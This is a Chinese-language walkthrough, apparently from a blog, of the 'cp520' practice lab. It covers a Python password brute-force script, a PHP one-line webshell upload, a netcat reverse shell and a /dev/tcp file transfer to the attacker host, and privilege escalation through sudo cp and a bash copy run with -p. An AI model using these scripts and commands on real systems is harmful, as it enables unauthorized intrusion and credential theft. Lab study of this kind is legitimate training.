cp520靶场学习笔记

正文

kali攻击机地址:192.168.1.4

靶场地址:192.168.1.15

1、端口扫描

在kali里,使用nmap工具:

bash 复制代码
nmap -sV -v -T4 -A 192.168.1.15

发现80和22端口开放,访问网页:

2、web登录页面用户密码爆破

抓包发现不填验证码,输入用户名和密码,也能返回"无效的用户名和密码":

编写密码爆破脚本1.py:

python 复制代码
import requests
import random
import sys
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64encode
from typing import Optional, Dict

# 全局会话,复用连接
session = requests.Session()
# 设置全局请求超时(秒)
TIMEOUT = 10
# 目标登录URL
LOGIN_URL = "http://192.168.1.15/login.php"
# RSA公钥(去除多余缩进,避免解析失败)
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtLlBu4KjqP4t7Bc6bf/2
1TrHJbKl5iGfAlxn/c1WxbjhA/BRoQNpGX7+8oROMarMDJnS2ddJBtpdAnovE3o+
NX45Eb1eTH9Isis/3mIXgVhuQ0Fhi11eo82hFQRXZOolJwfGqm7lL4r6OQJ96zur
IodiC2uxcmR/+YDjrhZhMlUYG2/OTm1bROEg1FV9gARh27SA4/VLbBsst69wS8Wj
m5fPQGd31QBN/8UvwyT/QCTpQdxV3PARXORVsdYLD+iNSrwwO/+cq6gNwthLxhbS
he40vUae0GtJjpkD5xJhkRXGuoj/D3/cd4KytNeiGezIeLQr+AER6kf6B8vHoPfk
eQIDAQAB
-----END PUBLIC KEY-----"""


def encrypt_password(password: str) -> Optional[str]:
    """
    RSA加密密码(兼容前端JSEncrypt的PKCS1_v1_5填充)
    :param password: 原始密码字符串
    :return: 加密后的base64字符串,失败返回None
    """
    try:
        rsa_key = RSA.importKey(PUBLIC_KEY)
        cipher = PKCS1_v1_5.new(rsa_key)
        # 加密(需编码为bytes)
        encrypted_bytes = cipher.encrypt(password.encode("utf-8"))
        # base64编码并转回字符串
        return b64encode(encrypted_bytes).decode("utf-8")
    except Exception as e:
        print(f"[!] 密码加密失败:{e} | 密码:{password}")
        return None


def login(username: str, password: str) -> Optional[Dict]:
    """
    发送登录请求
    :param username: 用户名
    :param password: 原始密码
    :return: 登录响应的JSON数据,失败返回None
    """
    # 加密密码
    enc_password = encrypt_password(password)
    if not enc_password:
        return None

    # 登录请求参数
    data = {
        "username": username,
        "password": enc_password,
        "captcha": ""  # 若目标需验证码,需补充验证码识别/输入逻辑
    }

    try:
        # 发送POST请求(JSON格式)
        response = session.post(
            url=LOGIN_URL,
            json=data,
            timeout=TIMEOUT,
            headers={
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
                "Content-Type": "application/json"
            }
        )
        # 检查响应状态码
        response.raise_for_status()
        return response.json()
    except requests.exceptions.Timeout:
        print(f"[!] 登录请求超时({TIMEOUT}秒) | 密码:{password}")
    except requests.exceptions.ConnectionError:
        print(f"[!] 目标服务器连接失败 | 密码:{password}")
    except requests.exceptions.HTTPError as e:
        print(f"[!] HTTP请求错误:{e} | 密码:{password}")
    except Exception as e:
        print(f"[!] 登录请求异常:{e} | 密码:{password}")
    return None


def brute_force_login(username: str, pass_file_path: str) -> None:
    """
    密码爆破主逻辑
    :param username: 目标用户名
    :param pass_file_path: 密码字典文件路径
    """
    # 读取密码字典
    try:
        with open(pass_file_path, "r", encoding="utf-8") as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[!] 密码文件不存在:{pass_file_path}")
        sys.exit(1)
    except PermissionError:
        print(f"[!] 无权限读取密码文件:{pass_file_path}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] 读取密码文件异常:{e}")
        sys.exit(1)

    total = len(passwords)
    if total == 0:
        print("[!] 密码字典为空")
        sys.exit(1)

    print(f"[*] 开始密码爆破 | 用户名:{username} | 密码总数:{total}")
    print("-" * 50)

    # 遍历密码爆破
    for idx, password in enumerate(passwords, 1):
        print(f"[{idx}/{total}] 尝试密码:{password}", end=" ")
        result = login(username, password)

        if not result:
            print("→ 请求失败")
            continue

        # 登录成功判断(根据实际响应调整success字段)
        if result.get("success"):
            print("\n" + "=" * 50)
            print(f"[+] 爆破成功!用户名:{username} | 密码:{password}")
            print("=" * 50)
            # 可在此处添加后续操作(如访问后台、保存结果等)
            sys.exit(0)
        else:
            error_msg = result.get("error", "未知错误")
            print(f"→ 登录失败:{error_msg}")

    # 爆破完成未找到密码
    print("-" * 50)
    print("[!] 密码爆破完成,未找到有效密码")


if __name__ == "__main__":
    # 命令行参数校验(用法:python 1.py <用户名> <密码字典路径>)
    if len(sys.argv) != 3:
        print("用法:python {} <用户名> <密码字典文件路径>".format(sys.argv[0]))
        print("示例:python {} admin pass.txt".format(sys.argv[0]))
        sys.exit(1)

    # 获取命令行参数
    target_username = sys.argv[1]
    target_pass_file = sys.argv[2]

    # 执行爆破
    brute_force_login(target_username, target_pass_file)

拿到admin用户密码:justine

3、文件上传漏洞利用

登录进去后是个文件上传:

目录扫描能扫出来文件上传的路径:

bash 复制代码
dirsearch -u 192.168.1.15

上传一句话木马文件到/uploads/目录下:

bash 复制代码
<?php @eval($_POST['x']);?>

4、nc 反弹

蚁键右键打开终端,输入:

bash 复制代码
busybox nc 192.168.1.4 4444 -e /bin/bash

kail记得开启4444端口监听:

bash 复制代码
nc -lp 4444

kali调整bash格式:

bash 复制代码
/usr/bin/script -qc /bin/bash /dev/null
CTRL+Z
stty raw -echo;fg
reset
xterm

5、Linux用户检索与特权分析

回到家目录,发现两个用户ihatemathilovelinux

从根目录开始,查找所有 "所属用户组是 ihatemath"、 "所属用户组是 ilovelinux" 的文件或目录,同时忽略查找过程中出现的权限不足、文件不存在等错误提示:

bash 复制代码
find / -group ihatemath 2>/dev/null
find / -group ilovelinux 2>/dev/null

将本地 /var/local/images.jpg 文件内容,通过 TCP 协议发送到 IP 为 192.168.1.4、端口为 1234 的远程主机上。

bash 复制代码
cat /var/local/images.jpg > /dev/tcp/192.168.1.4/1234

kail配置:

bash 复制代码
nc -lvp 1234 > images.jpg
# 用nc监听,接收数据并写入文件
# 若无nc,也可通过bash监听:cat > received_images.jpg < /dev/tcp/0.0.0.0/1234

6、图片隐写

查看图片隐藏属性:

bash 复制代码
exiftool images.jpg 

发现摩斯码:

7、解密与格式转换

解码后发现还要转HEX:

转换后,拿到ilovelinux用户的hash密码48415050595f445241474f4e5f424f41545f464553544956414c

bash 复制代码
ssh ilovelinux@192.168.1.15
#然后输入密码

查看ilovelinux用户的特权操作:

输出内容 含义
Matching Defaults entries for ilovelinux on cp520: 开始展示 ilovelinux 用户在 cp520 主机上的 sudo 默认配置
env_reset, mail_badpass, secure_path=... sudo 默认配置项: - env_reset:执行 sudo 命令时重置环境变量,保证安全 - mail_badpass:密码错误时发送邮件提醒(通常给 root) - secure_path:sudo 执行命令时的默认 PATH 路径(限定命令查找范围,防止恶意脚本)
User ilovelinux may run the following commands on cp520: 核心结果:明确 ilovelinux 用户在 cp520 主机上可执行的 sudo 命令
(ihatemath) /bin/cp 授权详情(最关键): - (ihatemath):可切换到 ihatemath 用户身份执行(括号内是允许切换的用户,若为 (ALL) 则可切换到任意用户) - /bin/cp:仅允许执行 /bin/cp 命令(Linux 系统的文件复制命令)

8、cp命令横向获取用户密码

那就执行复制命令,拿到ihatemath用户的口令3c5611f0ae3f

bash 复制代码
touch /tmp/a
chmod 777 /tmp/a
ls -l /tmp/a
sudo -u ihatemath /bin/cp /opt/ihatemath.pass /tmp/a
cat /tmp/a
命令 / 输出内容 含义与核心目的
touch /tmp/a 核心操作:在 /tmp 目录创建空文件 a。 ✨ 目的:为后续复制敏感文件内容做 "载体"(/tmp 是所有用户可读写的公共目录)。
chmod 777 /tmp/a 核心操作:修改 /tmp/a 的权限为 777(所有用户可读、可写、可执行)。 ✨ 目的:确保 ihatemath 用户(后续执行 cp 的身份)能向这个文件写入内容,避免权限不足。
ls -l /tmp/a 验证操作:查看 /tmp/a 的权限和属性。 输出解读: - -rwxrwxrwx:权限为 777(所有人可读写执行); - 1 ilovelinux ilovelinux:文件属主 / 属组是 ilovelinux; - 0:文件大小为 0(空文件); ✨ 目的:确认权限修改成功,为后续复制铺路。
sudo -u ihatemath /bin/cp /opt/ihatemath.pass /tmp/a 核心利用:以 ihatemath 用户身份执行授权的 /bin/cp 命令,将 /opt/ihatemath.passilovelinux 无权限直接读取的敏感文件)复制到 /tmp/a。 ✨ 关键:ilovelinux 本身读不了 /opt/ihatemath.pass,但能通过 sudo 切换到 ihatemath 执行 cp,间接获取文件内容。
cat /tmp/a 读取结果:查看 /tmp/a 的内容,输出 3c5611f0ae3f(大概率是 ihatemath 的密码哈希 / 明文密码)。 ✨ 目的:通过可读写的 /tmp/a,拿到原本无权限访问的敏感文件内容。

su - 成功切换到ihatemath用户:

查看ihatemath用户的特权操作,并执行:

9、diff命令进行文件比较

通过以下命令拿到root目录下的flag:

bash 复制代码
 diff whatsthis /bin/bash 
 ./whatsthis -p
 cd /root
命令 / 输出内容 含义与核心目的
diff whatsthis /bin/bash diff 命令对比 whatsthis 和系统原生 /bin/bash。 ✨ 无任何输出,说明两个文件二进制内容完全一致whatsthisbash 的完整副本。
./whatsthis -p 执行当前目录下的 whatsthis 文件,并传入 -p 参数。 ✨ -pbash 的特权模式参数,作用是:即使进程的有效用户 ID(EUID)与实际用户 ID(UID)不一致,也不重置环境变量、不降低权限,保留特权。
cd /ro 执行 ./whatsthis -p 后,提示符从 $ 变成了 #,说明你已经获得了 root 权限# 是 root 用户的提示符)。 后面的 cd /ro 是输入到一半的命令,大概率是 cd /root(切换到 root 家目录)。
相关推荐
心中有国也有家2 小时前
cann-recipes-infer:昇腾 NPU 推理的“菜谱集合”
经验分享·笔记·学习·算法
玄米乌龙茶1232 小时前
LLM成长笔记(三):API 开发基础
笔记
Upsy-Daisy2 小时前
AI Agent 项目学习笔记(八):Tool Calling 工具调用机制总览
人工智能·笔记·学习
LuminousCPP4 小时前
数据结构 - 线性表第四篇:C 语言通讯录优化升级全记录(踩坑 + 思考)
c语言·开发语言·数据结构·经验分享·笔记·学习
有味道的男人4 小时前
Open Claw对接1688平台
android·rxjava
魔法阵维护师4 小时前
从零开发游戏需要学习的c#模块,第十四章(保存和加载)
学习·游戏·c#
_李小白5 小时前
【android opencv学习笔记】Day 17: 目标追踪(MeanShift)
android·opencv·学习
一只机电自动化菜鸟5 小时前
一建机电备考笔记(40) 建筑机电施工—排水管道施工(含考频+题型)
经验分享·笔记·学习·职场和发展·课程设计
2301_818730565 小时前
numpy的学习(笔记)
学习·numpy